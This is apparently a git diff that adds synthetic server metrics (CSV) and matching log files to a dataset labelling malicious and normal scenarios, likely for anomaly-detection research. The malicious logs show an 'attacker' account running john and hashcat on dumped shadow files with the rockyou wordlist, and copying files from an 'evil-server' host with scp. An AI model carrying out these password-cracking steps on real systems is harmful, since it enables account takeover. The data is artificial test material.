/usr/bin/hashcat -m 1000 -a 0 /root/hashes.txt /usr/share/wordlists/rockyou.txt +Jul 02 11:01:45 auditd[123]: type=SYSCALL msg=audit(1364481363.243:24287): arch=c000003e syscall=59 success=yes exit=0 a0=7f4b1d7d1f5b a1=7f4b1d7d1f70 a2=7f4b1d7d20e0 a3=0 items=2 ppid=1234 pid=5678 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=4294967295 comm="hashcat" exe="/usr/bin/hashcat" key="execve" +Jul 02 11:02:00 top[5679]: PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND +Jul 02 11:02:00 top[5679]: 5678 root 20 0 12.5g 6.1g 1.2g R 99.9 60.0 0:15.34 hashcat +Jul 02 11:02:30 kernel: [12345.678901] INFO: rcu_sched self-detected stall on CPU 2 +Jul 02 11:02:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:03:20 kernel: [12345.678901] INFO: rcu_sched self-detected stall on CPU 0 +Jul 02 11:03:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:04:10 kernel: [12345.678901] INFO: rcu_sched self-detected stall on CPU 2 +Jul 02 11:05:00 kernel: [12345.678901] INFO: rcu_sched self-detected stall on CPU 0 +Jul 02 11:05:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:05:50 kernel: [12345.678901] INFO: rcu_sched self-detected stall on CPU 2 +Jul 02 11:06:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:06:40 kernel: [12345.678901] INFO: rcu_sched self-detected stall on CPU 0 diff --git a/mali_dataset/scenario_9/mali_9_6.csv b/mali_dataset/scenario_9/mali_9_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..f356a21ff36d9f71486f9d790512c158db59df09 --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,14.54,35.83,11.96,1.32,1.03 +2025-07-02T12:00:05Z,12.72,40.93,10.91,1.0,0.68 +2025-07-02T12:00:10Z,11.59,35.56,16.71,1.06,1.49 +2025-07-02T12:00:15Z,7.83,39.61,16.46,0.93,1.07 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+2025-07-02T12:07:00Z,98.78,69.51,1.51,0.05,0.02 +2025-07-02T12:07:05Z,98.85,65.27,1.84,0.07,0.06 +2025-07-02T12:07:10Z,99.58,69.87,3.81,0.04,0.08 +2025-07-02T12:07:15Z,99.26,71.35,4.78,0.07,0.06 +2025-07-02T12:07:20Z,98.94,62.51,3.94,0.09,0.03 +2025-07-02T12:07:25Z,98.97,72.46,2.31,0.1,0.1 diff --git a/mali_dataset/scenario_9/mali_9_6.log b/mali_dataset/scenario_9/mali_9_6.log new file mode 100644 index 0000000000000000000000000000000000000000..f2fab3ac5dc28a7d67617626858c33eaf3345830 --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_6.log @@ -0,0 +1,23 @@ +Jul 02 11:59:58 server sshd[8878]: Accepted publickey for attacker from 198.51.100.12 port 54322 ssh2: RSA SHA256:... +Jul 02 12:00:00 server systemd[1]: Starting daily clean up activities... +Jul 02 12:00:01 server sshd[8878]: pam_unix(sshd:session): session opened for user attacker by (uid=0) +Jul 02 12:00:30 server CRON[8890]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:00 server auditd[555]: type=EXECVE msg=audit(1751457660.123:456): proctitle=john --wordlist=/home/attacker/wordlists/rockyou.txt --format=sha512crypt /home/attacker/shadow_dump +Jul 02 12:01:05 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:01:32 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:02:02 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:02:32 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:02:51 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:03:19 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:03:49 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:04:16 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:04:35 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:04:54 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:05:23 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:05:45 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:06:11 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:06:30 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:06:30 server systemd[1]: Starting daily clean up activities... +Jul 02 12:06:50 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:07:22 server procmon[1024]: HIGH_CPU_ALERT: Process 'john' (PID:8915) using 99.8% CPU. +Jul 02 12:07:35 server sshd[8878]: pam_unix(sshd:session): session closed for user attacker diff --git a/mali_dataset/scenario_9/mali_9_7.csv b/mali_dataset/scenario_9/mali_9_7.csv new file mode 100644 index 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+2025-08-29T04:07:10Z,17.43734308413694,30.581710279491602,26.98960873373693,1.5386716712451696,0.6692118911829558 +2025-08-29T04:07:15Z,16.98830653351396,34.28457863808468,28.637336341239504,0.6692766544120524,1.1566920106929799 +2025-08-29T04:07:20Z,13.020011527684005,30.45668501992899,21.049478972853375,1.236126892578714,0.9126157735467173 +2025-08-29T04:07:25Z,8.8208095713016,30.020224581283145,17.621877163370257,1.1255650538763655,1.3622616373185537 diff --git a/mali_dataset/scenario_9/mali_9_7.log b/mali_dataset/scenario_9/mali_9_7.log new file mode 100644 index 0000000000000000000000000000000000000000..7b2017895b0ddeaa2d6cba677b850a9e36a6ab5e --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_7.log @@ -0,0 +1,20 @@ +Aug 29 03:57:55 server1 sshd[3115]: Accepted publickey for attacker from 198.51.100.5 port 12345 ssh2: RSA SHA256:... +Aug 29 03:57:56 server1 systemd-logind[987]: New session 5 of user attacker. +Aug 29 03:57:56 server1 systemd[1]: Created slice User Slice of UID 1001. +Aug 29 03:58:55 server1 su[3201]: (to root) attacker on pts/0 +Aug 29 03:58:56 server1 su[3201]: pam_unix(su:session): session opened for user root by attacker(uid=1001) +Aug 29 04:00:10 server1 CRON[3250]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) +Aug 29 04:00:45 server1 bash[3210]: history: USER=root, COMMAND=scp evil-server:/root/shadow.txt /root/shadow.txt +Aug 29 04:00:55 server1 bash[3210]: history: USER=root, COMMAND=scp evil-server:/root/dict.txt /root/dict.txt +Aug 29 04:01:00 server1 bash[3210]: history: USER=root, COMMAND=john --wordlist=dict.txt shadow.txt +Aug 29 04:01:01 server1 kernel: [1138.133700] audit: type=1326 audit(1756478461.123:123): proctitle="john --wordlist=dict.txt shadow.txt" pid=3301 comm="john" exe="/usr/sbin/john" sig=0 arch=c000003e +Aug 29 04:01:01 server1 systemd[1]: Started Process 3301 (john). +Aug 29 04:01:30 server1 top[1234]: INFO Process 'john' (pid 3301) CPU: 99.8%, MEM: 2048MB +Aug 29 04:02:30 server1 top[1234]: INFO Process 'john' (pid 3301) CPU: 99.8%, MEM: 2048MB +Aug 29 04:03:30 server1 top[1234]: INFO Process 'john' (pid 3301) CPU: 99.8%, MEM: 2048MB +Aug 29 04:04:30 server1 top[1234]: INFO Process 'john' (pid 3301) CPU: 99.8%, MEM: 2048MB +Aug 29 04:05:30 server1 top[1234]: INFO Process 'john' (pid 3301) CPU: 99.8%, MEM: 2048MB +Aug 29 04:06:30 server1 top[1234]: INFO Process 'john' (pid 3301) CPU: 99.8%, MEM: 2048MB +Aug 29 04:07:05 server1 bash[3210]: history: USER=root, COMMAND=kill -9 3301 +Aug 29 04:07:06 server1 systemd[1]: Process 3301 (john) ended. +Aug 29 04:07:10 server1 sshd[3115]: pam_unix(sshd:session): session closed for user attacker diff --git a/mali_dataset/scenario_9/mali_9_8.csv b/mali_dataset/scenario_9/mali_9_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..2744f501de3a531286035bee9ba872b6626c5f14 --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T03:00:00Z,13.69,37.19,39.46,0.85,0.64 +2025-08-22T03:00:05Z,5.54,32.26,21.62,0.67,1.49 +2025-08-22T03:00:10Z,11.15,32.38,23.53,0.62,1.08 +2025-08-22T03:00:15Z,14.3,36.87,25.24,0.51,0.75 +2025-08-22T03:00:20Z,10.99,37.43,23.6,1.46,0.54 +2025-08-22T03:00:25Z,9.48,36.56,19.38,0.8,1.25 +2025-08-22T03:00:30Z,6.09,34.39,29.17,1.21,1.36 +2025-08-22T03:00:35Z,12.85,37.24,38.48,0.99,1.45 +2025-08-22T03:00:40Z,9.76,30.94,24.49,0.82,1.33 +2025-08-22T03:00:45Z,11.45,37.79,16.47,0.73,0.99 +2025-08-22T03:00:50Z,10.41,31.48,25.79,0.66,1.42 +2025-08-22T03:00:55Z,6.72,35.26,18.08,0.72,0.93 +2025-08-22T03:01:00Z,12.03,30.44,32.26,0.51,0.8 +2025-08-22T03:01:05Z,8.97,34.05,29.15,1.16,1.12 +2025-08-22T03:01:10Z,7.88,36.17,37.14,0.54,0.54 +2025-08-22T03:01:15Z,6.01,37.04,25.86,1.47,0.78 +2025-08-22T03:01:20Z,5.97,30.64,19.58,1.15,0.72 +2025-08-22T03:01:25Z,10.58,34.23,21.63,0.53,1.15 +2025-08-22T03:01:30Z,6.68,38.81,37.36,1.35,1.37 +2025-08-22T03:01:35Z,8.09,34.18,27.63,0.67,1.29 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+2025-08-22T03:06:40Z,98.74,58.19,4.74,0.04,0.03 +2025-08-22T03:06:45Z,98.56,54.2,1.45,0.01,0.03 +2025-08-22T03:06:50Z,99.88,62.77,3.04,0.03,0.04 +2025-08-22T03:06:55Z,99.8,61.13,3.78,0.04,0.01 +2025-08-22T03:07:00Z,99.85,55.97,4.24,0.05,0.03 +2025-08-22T03:07:05Z,99.37,62.16,4.95,0.03,0.04 +2025-08-22T03:07:10Z,99.7,54.67,1.94,0.03,0.03 +2025-08-22T03:07:15Z,99.6,55.67,4.06,0.03,0.02 +2025-08-22T03:07:20Z,99.84,62.34,2.66,0.05,0.05 +2025-08-22T03:07:25Z,98.8,59.12,2.67,0.04,0.05 diff --git a/mali_dataset/scenario_9/mali_9_8.log b/mali_dataset/scenario_9/mali_9_8.log new file mode 100644 index 0000000000000000000000000000000000000000..2ac3f3475e88dfffcc0cbff094d1149ef9b7ec55 --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_8.log @@ -0,0 +1,11 @@ +Aug 22 03:00:00 server systemd[1]: Starting daily clean up activities... +Aug 22 03:00:45 server CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 03:02:05 server sshd[4588]: Accepted password for attacker from 198.51.100.12 port 54322 ssh2 +Aug 22 03:02:05 server systemd-logind[987]: New session 123 of user attacker. +Aug 22 03:02:15 server systemd[1]: Started Session 123 of user attacker. +Aug 22 03:02:25 server bash[4590]: user=attacker command='john --wordlist=/usr/share/wordlists/rockyou.txt /root/shadow_dump' +Aug 22 03:02:30 server auditd[543]: type=EXECVE msg=audit(1755831750): AUID=1001 UID=1001 GID=1001 EUID=1001, command="john" +Aug 22 03:03:30 server kernel: [12345.678] INFO: task john:4612 blocked for more than 120 seconds. +Aug 22 03:03:30 server process-monitor[1122]: HIGH_CPU_USAGE: Process 'john' (PID 4612) using 99.8% CPU. +Aug 22 03:05:00 server process-monitor[1122]: HIGH_CPU_USAGE: Process 'john' (PID 4612) using 99.9% CPU. +Aug 22 03:07:25 server CRON[4801]: (root) CMD ( [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi) diff --git a/mali_dataset/scenario_9/mali_9_9.csv b/mali_dataset/scenario_9/mali_9_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..5f9cfb47720a5dbf4d19c628ce8263af2d4039e9 --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,6.30593080526125,28.261365559991653,7.162443817433481,1.3445761052763539,0.7899933124920143 +2025-07-02T12:00:05Z,5.836783429322686,22.53117932390083,6.464588580271279,0.838117207166343,1.0176128947871153 +2025-07-02T12:00:10Z,14.026050089874179,25.960180987547993,14.265539552884027,0.625116076934169,0.8753911739519697 +2025-07-02T12:00:15Z,14.673317489238043,23.094186162858655,6.890989439682876,1.3721694745673143,0.6405172800616012 +2025-07-02T12:00:20Z,14.638511139936016,21.35996966813078,13.521008351368978,1.4883119788549704,1.328371878467376 +2025-07-02T12:00:25Z,10.299997245296588,21.65556389549307,13.389740018190517,1.1196303615097183,0.7859900546777256 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+2025-07-02T12:07:10Z,99.88746861682739,50.5817102794916,3.3979217467473855,0.09448045041206526,0.016229070206466023 +2025-07-02T12:07:15Z,99.79766130670279,54.28457863808468,3.7274672682479006,0.01623489889708472,0.06010228096236821 +2025-07-02T12:07:20Z,99.0040023055368,50.45668501992899,2.209895794570675,0.06725142033208427,0.03813541961920456 +2025-07-02T12:07:25Z,98.16416191426032,50.020224581283145,1.5243754326740513,0.05730085484887291,0.07860354735866984 diff --git a/mali_dataset/scenario_9/mali_9_9.log b/mali_dataset/scenario_9/mali_9_9.log new file mode 100644 index 0000000000000000000000000000000000000000..4b7bd3dd05e1f5515637d91d44e1a531e12e5099 --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_9.log @@ -0,0 +1,11 @@ +Jul 02 11:59:30 server sshd[8898]: Accepted publickey for attacker from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Jul 02 11:59:31 server systemd[1]: Created slice User Slice of UID 1001. +Jul 02 12:00:10 server CRON[8910]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:50 server kernel: [1122.334] process `mysqldump` (pid 8950) exited with status 0 +Jul 02 12:01:35 attacker-shell: .bash_history: john --wordlist=/usr/share/wordlists/rockyou.txt /home/attacker/shadow.dump +Jul 02 12:01:40 server auditd[1234]: type=EXECVE msg=audit(1751457700:256): argc=4 a0="john" a1="--wordlist=/usr/share/wordlists/rockyou.txt" a2="/home/attacker/shadow.dump" +Jul 02 12:01:40 server kernel: [1220.101] process `john` (pid 9012) starting, cwd=/home/attacker +Jul 02 12:02:40 server CRON[9050]: (root) CMD ( [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi) +Jul 02 12:03:40 server systemd[1]: Starting Daily apt download activities... +Jul 02 12:04:40 server kernel: [1400.555] CPU: 1 PID: 9012 Comm: john Tainted: G W 5.4.0-100-generic #113-Ubuntu +Jul 02 12:05:40 server CRON[9150]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/norm_dataset/scenario_1/norm_1_1.csv b/norm_dataset/scenario_1/norm_1_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..be81d0cb7c5cf6d100fd76962510915aee04b6d0 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,15.98,36.25,10.4,1.5,1.68 +2025-08-14T02:00:05Z,19.97,50.72,8.14,1.41,0.93 +2025-08-14T02:00:10Z,17.22,46.24,10.6,1.25,0.75 +2025-08-14T02:00:15Z,16.57,39.29,8.23,1.11,1.0 +2025-08-14T02:00:20Z,19.43,47.12,14.23,1.45,0.41 +2025-08-14T02:00:25Z,16.21,46.49,9.39,1.33,1.01 +2025-08-14T02:00:30Z,16.23,42.26,12.98,1.53,0.84 +2025-08-14T02:00:35Z,18.74,44.55,11.91,1.26,1.07 +2025-08-14T02:00:40Z,14.11,50.23,13.13,1.14,1.24 +2025-08-14T02:00:45Z,18.77,49.92,9.14,1.76,0.98 +2025-08-14T02:00:50Z,19.05,42.84,12.56,1.94,1.26 +2025-08-14T02:00:55Z,14.06,46.87,12.64,1.05,1.34 +2025-08-14T02:01:00Z,16.92,51.73,11.52,1.13,1.24 +2025-08-14T02:01:05Z,16.82,50.53,8.94,1.51,1.15 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+++ b/norm_dataset/scenario_1/norm_1_1.log @@ -0,0 +1,29 @@ +Aug 14 02:00:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:10 web-app[3456]: GET /api/v1/health status=200 OK +Aug 14 02:00:20 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:30 web-app[3456]: GET /api/v1/health status=200 OK +Aug 14 02:00:40 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:50 web-app[3456]: GET /api/v1/health status=200 OK +Aug 14 02:01:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:01:10 web-app[3456]: GET /api/v1/health status=200 OK +Aug 14 02:01:20 systemd[1]: Starting daily clean up activities... +Aug 14 02:01:30 web-app[3456]: GET /api/v1/health status=200 OK +Aug 14 02:01:40 systemd[1]: Starting daily clean up activities... +Aug 14 02:01:50 CRON[18932]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:01:50 backup-script[18933]: INFO: Starting database dump... +Aug 14 02:01:50 backup-script[18933]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:01:50 web-app[3456]: GET /api/v1/health status=200 OK +Aug 14 02:04:20 backup-script[18933]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:04:20 backup-script[18933]: INFO: Starting upload to remote storage... +Aug 14 02:05:35 backup-script[18933]: INFO: Nightly backup task completed successfully. +Aug 14 02:05:35 backup-script[18933]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:05:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-prod +Aug 14 02:05:55 web-app[3456]: GET /api/v1/health status=200 OK +Aug 14 02:06:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-prod +Aug 14 02:06:15 web-app[3456]: GET /api/v1/health status=200 OK +Aug 14 02:06:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-prod +Aug 14 02:06:35 web-app[3456]: GET /api/v1/health status=200 OK +Aug 14 02:06:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-prod +Aug 14 02:06:55 web-app[3456]: GET /api/v1/health status=200 OK +Aug 14 02:07:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-prod +Aug 14 02:07:15 web-app[3456]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_1/norm_1_10.csv b/norm_dataset/scenario_1/norm_1_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..b120d512f85f1e10fcee2b7fce4738bd1b3366b1 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,14.175681684055622,42.536185180210246,29.358699888280317,1.2027125505053962,1.0630994160174132 +2025-08-14T02:00:05Z,19.794940887862754,42.35228193701026,29.481237158464005,1.2110327457303935,0.8950368462613814 +2025-08-14T02:00:10Z,16.037090063780838,41.32419803367688,33.10562697655399,0.580384838094254,1.1487343842174336 +2025-08-14T02:00:15Z,11.352144747135847,39.79414104718776,25.513336621647852,1.3224689926374795,1.143520194724213 +2025-08-14T02:00:20Z,15.73323182135486,40.493634432100414,35.947091419230425,1.1870564011704032,0.5992298733595888 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CRON[6661]: (root) CMD (run-parts --report /etc/cron.daily/backup-task) +Aug 14 02:02:05 backup-script[7088]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:02:55 kubelet[2729]: INFO Liveness probe succeeded for pod web-app-prod +Aug 14 02:03:20 systemd[1]: Starting daily clean up activities... +Aug 14 02:05:00 backup-script[7884]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:05:50 kubelet[2268]: INFO Liveness probe succeeded for pod web-app-prod +Aug 14 02:06:30 backup-script[7397]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:06:40 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_1/norm_1_11.csv b/norm_dataset/scenario_1/norm_1_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..7eee5045fb0f0b06ff376585acbb128901ca8c2f --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,12.976689400468807,38.096629249953736,28.9869852725574,0.9481357731618523,0.5317590174622213 +2025-08-14T02:00:05Z,16.462745093758475,37.09360029135264,32.1549310343021,1.2828434536358764,0.648750693419355 +2025-08-14T02:00:10Z,14.964254539171554,33.658388761509386,30.529385041538177,0.8057612359521399,1.1328783779195277 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+2025-08-14T02:07:15Z,14.241022170089348,34.91326689528452,26.282012429386832,1.0451956126484825,0.9702950784916496 +2025-08-14T02:07:20Z,16.77454379452762,37.262978970798876,35.73141484800896,0.9554519350077759,0.81201848984401 +2025-08-14T02:07:25Z,13.70242991431534,39.1709885160564,22.74115229199664,0.9626096775899113,1.0747946197557414 diff --git a/norm_dataset/scenario_1/norm_1_11.log b/norm_dataset/scenario_1/norm_1_11.log new file mode 100644 index 0000000000000000000000000000000000000000..fa5678e5ba666bbf3947921e959222692c6eaa55 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_11.log @@ -0,0 +1,12 @@ +Aug 14 02:00:25 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:50 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 14 02:02:00 CRON[4812]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:02:05 backup-script[4813]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:02:10 backup-script[4813]: INFO: Starting database dump... +Aug 14 02:03:30 backup-script[4813]: INFO: Compressing database dump... +Aug 14 02:05:00 backup-script[4813]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:05:05 backup-script[4813]: INFO: Uploading to s3://prod-backups/full-20250814.tar.gz... +Aug 14 02:06:05 backup-script[4813]: INFO: Upload progress: 50% +Aug 14 02:07:05 backup-script[4813]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:07:10 backup-script[4813]: INFO: Nightly backup task finished successfully. +Aug 14 02:07:25 systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_1/norm_1_12.csv b/norm_dataset/scenario_1/norm_1_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..24eb38b367b037bb71c5a7a100fc963106c0cacd --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,16.8,37.27,9.17,0.62,0.65 +2025-08-14T02:00:05Z,18.28,41.09,6.54,0.91,0.91 +2025-08-14T02:00:10Z,18.02,41.42,9.51,0.83,0.81 +2025-08-14T02:00:15Z,15.7,39.27,13.03,0.86,0.86 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Archive size 50GB. +Aug 14 02:07:05 backup-script[5678]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:07:20 systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_1/norm_1_13.csv b/norm_dataset/scenario_1/norm_1_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..3d589e73580ab2569bbb8d257b981d4d73ad488b --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,13.520218102762243,42.61035169492486,29.51601886409808,0.6074509189066589,0.9621399473887806 +2025-08-14T02:00:05Z,15.53870316365918,33.02719305093469,24.23959737030756,1.2805049762596399,0.8858678539381077 +2025-08-14T02:00:10Z,15.052398733457297,35.791557970694946,24.334514829889088,1.040296398506243,0.7938567654843989 +2025-08-14T02:00:15Z,18.201016798833578,37.99498351027873,21.588985564001987,1.0778090805343905,0.9188441643419946 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Starting daily clean up activities... +Aug 14 02:01:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:01:45 CRON[4812]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:01:50 backup-script[4815]: INFO: Starting job 'nightly-backup-task' +Aug 14 02:02:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:03:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:04:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:04:10 backup-script[4815]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:05:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:06:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:06:40 backup-script[4815]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:07:00 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_1/norm_1_14.csv b/norm_dataset/scenario_1/norm_1_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..1d18e2bfeefc2c20ecffe2fc29afb0d1045e2aa1 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,16.103872297722507,39.14233552352116,42.84222286500881,1.2785295295457506,1.4056883054841511 +2025-08-14T02:00:05Z,16.528862857651156,41.257710087959694,27.45651465790565,1.3308655543997912,0.8750127185759893 +2025-08-14T02:00:10Z,15.880555117952747,38.90243341998472,29.49997384194455,2.023945473172591,0.9329392392264226 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0000000000000000000000000000000000000000..74497fc0bcea56b3267c83110c28f083ebb8c3f1 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_14.log @@ -0,0 +1,20 @@ +Aug 14 02:00:00 systemd[1]: Starting daily clean up activities... +Aug 14 02:00:15 web-app[4321]: GET /api/v1/health status=200 OK +Aug 14 02:00:55 systemd[1]: Starting daily clean up activities... +Aug 14 02:01:58 systemd[1]: Starting daily clean up activities... +Aug 14 02:02:30 cron[1234]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 02:02:31 systemd[1]: Starting Daily Backup Job... +Aug 14 02:02:32 backup-script[5678]: INFO: Starting job 'nightly-backup-task'. +Aug 14 02:02:47 systemd[1]: Starting daily clean up activities... +Aug 14 02:03:00 web-app[4321]: GET /api/v1/health status=200 OK +Aug 14 02:03:42 systemd[1]: Starting daily clean up activities... +Aug 14 02:03:54 web-app[4321]: GET /api/v1/health status=200 OK +Aug 14 02:04:35 backup-script[5678]: INFO: Database dump complete. Archive size 50GB. +Aug 14 02:04:47 systemd[1]: Starting daily clean up activities... +Aug 14 02:04:54 web-app[4321]: GET /api/v1/health status=200 OK +Aug 14 02:05:42 systemd[1]: Starting daily clean up activities... +Aug 14 02:05:52 web-app[4321]: GET /api/v1/health status=200 OK +Aug 14 02:06:15 backup-script[5678]: INFO: Upload to s3://prod-backups/full-20250814.tar.gz finished. +Aug 14 02:06:16 backup-script[5678]: INFO: Nightly backup task completed successfully. +Aug 14 02:06:43 systemd[1]: Starting daily clean up activities... +Aug 14 02:06:54 web-app[4321]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_1/norm_1_15.csv b/norm_dataset/scenario_1/norm_1_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..0366a451574624ae41334b6212dc227f85a90769 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T02:00:00Z,13.75,36.2,8.41,1.31,0.89 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+2025-08-14T02:06:45Z,32.68,35.17,7.4,1.36,84.92 +2025-08-14T02:06:50Z,30.58,40.12,5.76,1.16,81.01 +2025-08-14T02:06:55Z,45.1,37.26,6.29,0.66,95.57 +2025-08-14T02:07:00Z,42.41,41.45,6.28,0.57,94.63 +2025-08-14T02:07:05Z,13.25,36.74,12.41,1.14,1.45 +2025-08-14T02:07:10Z,17.3,41.91,11.97,0.53,1.49 +2025-08-14T02:07:15Z,16.38,38.87,12.02,1.09,1.25 +2025-08-14T02:07:20Z,18.87,44.37,8.59,1.44,0.88 +2025-08-14T02:07:25Z,14.72,36.38,7.94,1.08,0.58 diff --git a/norm_dataset/scenario_1/norm_1_15.log b/norm_dataset/scenario_1/norm_1_15.log new file mode 100644 index 0000000000000000000000000000000000000000..a1ed0c455317f2ce0af7ede63519c1963a654309 --- /dev/null +++ b/norm_dataset/scenario_1/norm_1_15.log @@ -0,0 +1,30 @@ +Aug 14 02:00:00 sshd[1889]: Accepted publickey for user from 10.0.1.5 port 54322 ssh2: RSA SHA256:... +Aug 14 02:00:20 web-app[4011]: GET /api/v1/health status=404 Not Found +Aug 14 02:00:36 kernel: [7851.430477] TCP:_time_wait_overflow: too many time-wait sockets +Aug 14 02:01:01 sshd[1889]: Accepted publickey for user from 10.0.1.5 port 54322 